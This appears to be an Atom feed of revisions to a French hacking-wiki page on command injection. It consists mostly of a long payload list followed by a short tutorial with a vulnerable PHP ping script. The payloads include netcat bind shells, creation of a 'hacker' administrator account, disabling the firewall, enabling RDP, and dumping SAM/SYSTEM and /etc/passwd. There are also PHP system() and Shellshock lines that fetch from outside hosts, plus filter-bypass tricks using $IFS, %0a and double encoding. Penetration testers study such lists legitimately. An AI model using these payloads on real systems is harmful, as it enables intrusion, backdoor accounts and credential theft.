 | nc -lvvp 4444 -e /bin/sh|&lt;br /&gt;
 ; nc -lvvp 4444 -e /bin/sh;&lt;br /&gt;
 &amp;amp; nc -lvvp 4444 -e /bin/sh&amp;amp;&lt;br /&gt;
 &amp;amp;&amp;amp; nc -lvvp 4444 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4444 -e /bin/sh&lt;br /&gt;
 nc -lvvp 4445 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4446 -e /bin/sh|&lt;br /&gt;
 nc -lvvp 4447 -e /bin/sh;&lt;br /&gt;
 nc -lvvp 4448 -e /bin/sh&amp;amp;&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Asleep 5\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 | net localgroup Administrators hacker /ADD&lt;br /&gt;
 ; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 net localgroup Administrators hacker /ADD&lt;br /&gt;
 | netsh firewall set opmode disable&lt;br /&gt;
 ; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp;&amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 netsh firewall set opmode disable&lt;br /&gt;
 netstat&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 | netstat -an&lt;br /&gt;
 ; netstat -an&lt;br /&gt;
 &amp;amp; netstat -an&lt;br /&gt;
 &amp;amp;&amp;amp; netstat -an&lt;br /&gt;
 netstat -an&lt;br /&gt;
 | net user hacker Password1 /ADD&lt;br /&gt;
 ; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 net user hacker Password1 /ADD&lt;br /&gt;
 | net view&lt;br /&gt;
 ; net view&lt;br /&gt;
 &amp;amp; net view&lt;br /&gt;
 &amp;amp;&amp;amp; net view&lt;br /&gt;
 net view&lt;br /&gt;
 \nid|&lt;br /&gt;
 \nid;&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x1024'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x16384'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x8192'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x81920'&lt;br /&gt;
 || phpinfo()&lt;br /&gt;
 | phpinfo()&lt;br /&gt;
  {${phpinfo()}}&lt;br /&gt;
 ;phpinfo()&lt;br /&gt;
 ;phpinfo();//&lt;br /&gt;
 ';phpinfo();//&lt;br /&gt;
 {${phpinfo()}}&lt;br /&gt;
 &amp;amp; phpinfo()&lt;br /&gt;
 &amp;amp;&amp;amp; phpinfo()&lt;br /&gt;
 phpinfo()&lt;br /&gt;
 phpinfo();&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 10&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 5&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc&amp;quot;);?&amp;gt;&lt;br /&gt;
 :phpversion();&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 ;${@print(md5(RCEVulnerable))};&lt;br /&gt;
 ${@print(&amp;quot;RCEVulnerable&amp;quot;)}&lt;br /&gt;
 ${@print(system($_SERVER['HTTP_USER_AGENT']))}&lt;br /&gt;
 pwd&lt;br /&gt;
 | pwd&lt;br /&gt;
 ; pwd&lt;br /&gt;
 &amp;amp; pwd&lt;br /&gt;
 &amp;amp;&amp;amp; pwd&lt;br /&gt;
 \r&lt;br /&gt;
 | reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 ; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp;&amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 \r\n&lt;br /&gt;
 route&lt;br /&gt;
 | sleep 1&lt;br /&gt;
 ; sleep 1&lt;br /&gt;
 &amp;amp; sleep 1&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 1&lt;br /&gt;
 sleep 1&lt;br /&gt;
 || sleep 10&lt;br /&gt;
 | sleep 10&lt;br /&gt;
 ; sleep 10&lt;br /&gt;
 {${sleep(10)}}&lt;br /&gt;
 &amp;amp; sleep 10 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 10&lt;br /&gt;
 sleep 10&lt;br /&gt;
 || sleep 15&lt;br /&gt;
 | sleep 15&lt;br /&gt;
 ; sleep 15&lt;br /&gt;
 &amp;amp; sleep 15 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 15&lt;br /&gt;
  {${sleep(20)}}&lt;br /&gt;
 {${sleep(20)}}&lt;br /&gt;
  {${sleep(3)}}&lt;br /&gt;
 {${sleep(3)}}&lt;br /&gt;
 | sleep 5&lt;br /&gt;
 ; sleep 5&lt;br /&gt;
 &amp;amp; sleep 5&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 5&lt;br /&gt;
 sleep 5&lt;br /&gt;
  {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 sysinfo&lt;br /&gt;
 | sysinfo&lt;br /&gt;
 ; sysinfo&lt;br /&gt;
 &amp;amp; sysinfo&lt;br /&gt;
 &amp;amp;&amp;amp; sysinfo&lt;br /&gt;
 system('cat C:\boot.ini');&lt;br /&gt;
 system('cat config.php');&lt;br /&gt;
 || system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 | system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 ; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp;&amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt')&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')&lt;br /&gt;
 system('curl https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 systeminfo&lt;br /&gt;
 | systeminfo&lt;br /&gt;
 ; systeminfo&lt;br /&gt;
 &amp;amp; systeminfo&lt;br /&gt;
 &amp;amp;&amp;amp; systeminfo&lt;br /&gt;
 system('ls')&lt;br /&gt;
 system('pwd')&lt;br /&gt;
 system('pwd');&lt;br /&gt;
 || system('sleep 5');&lt;br /&gt;
 | system('sleep 5');&lt;br /&gt;
 ; system('sleep 5');&lt;br /&gt;
 &amp;amp; system('sleep 5');&lt;br /&gt;
 &amp;amp;&amp;amp; system('sleep 5');&lt;br /&gt;
 system('sleep 5')&lt;br /&gt;
 system('sleep 5');&lt;br /&gt;
 system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')&lt;br /&gt;
 system('wget https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('whoami')&lt;br /&gt;
 system('whoami');&lt;br /&gt;
 test*; ls -lhtR /var/www/&lt;br /&gt;
 test* || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test*; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 $(`type C:\boot.ini`)&lt;br /&gt;
 &amp;amp;&amp;amp;type C:\\boot.ini&lt;br /&gt;
 | type C:\Windows\repair\SAM&lt;br /&gt;
 ; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 type C:\Windows\repair\SAM&lt;br /&gt;
 | type C:\Windows\repair\SYSTEM&lt;br /&gt;
 ; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 type C:\Windows\repair\SYSTEM&lt;br /&gt;
 | type C:\WINNT\repair\SAM&lt;br /&gt;
 ; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SYSTEM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 uname&lt;br /&gt;
 ;uname;&lt;br /&gt;
 | uname -a&lt;br /&gt;
 ; uname -a&lt;br /&gt;
 &amp;amp; uname -a&lt;br /&gt;
 &amp;amp;&amp;amp; uname -a&lt;br /&gt;
 uname -a&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 ;/usr/bin/id|&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;};/usr/bin/perl -e 'print \&amp;quot;Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\&amp;quot;;system(\&amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\&amp;quot;);'&lt;br /&gt;
 () { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11&lt;br /&gt;
 | wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt`)&lt;br /&gt;
 &amp;amp;&amp;amp; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 which curl&lt;br /&gt;
 which gcc&lt;br /&gt;
 which nc&lt;br /&gt;
 which netcat&lt;br /&gt;
 which perl&lt;br /&gt;
 which python&lt;br /&gt;
 which wget&lt;br /&gt;
 whoami&lt;br /&gt;
 | whoami&lt;br /&gt;
 ; whoami&lt;br /&gt;
 ' whoami&lt;br /&gt;
 ' || whoami&lt;br /&gt;
 ' &amp;amp; whoami&lt;br /&gt;
 ' &amp;amp;&amp;amp; whoami&lt;br /&gt;
 '; whoami&lt;br /&gt;
 &amp;quot; whoami&lt;br /&gt;
 &amp;quot; || whoami&lt;br /&gt;
 &amp;quot; | whoami&lt;br /&gt;
 &amp;quot; &amp;amp; whoami&lt;br /&gt;
 &amp;quot; &amp;amp;&amp;amp; whoami&lt;br /&gt;
 &amp;quot;; whoami&lt;br /&gt;
 $(`whoami`)&lt;br /&gt;
 &amp;amp; whoami&lt;br /&gt;
 &amp;amp;&amp;amp; whoami&lt;br /&gt;
 {{ get_user_file(&amp;quot;C:\boot.ini&amp;quot;) }}&lt;br /&gt;
 {{ get_user_file(&amp;quot;/etc/hosts&amp;quot;) }}&lt;br /&gt;
 {{4+4}}&lt;br /&gt;
 {{4+8}}&lt;br /&gt;
 {{person.secret}}&lt;br /&gt;
 {{person.name}}&lt;br /&gt;
 {1} + {1}&lt;br /&gt;
 {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&lt;br /&gt;
 {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;br /&gt;
*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93576</id>
		<title>Web:Injection de Commandes</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93576"/>
		<updated>2023-12-02T18:52:21Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Unix */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
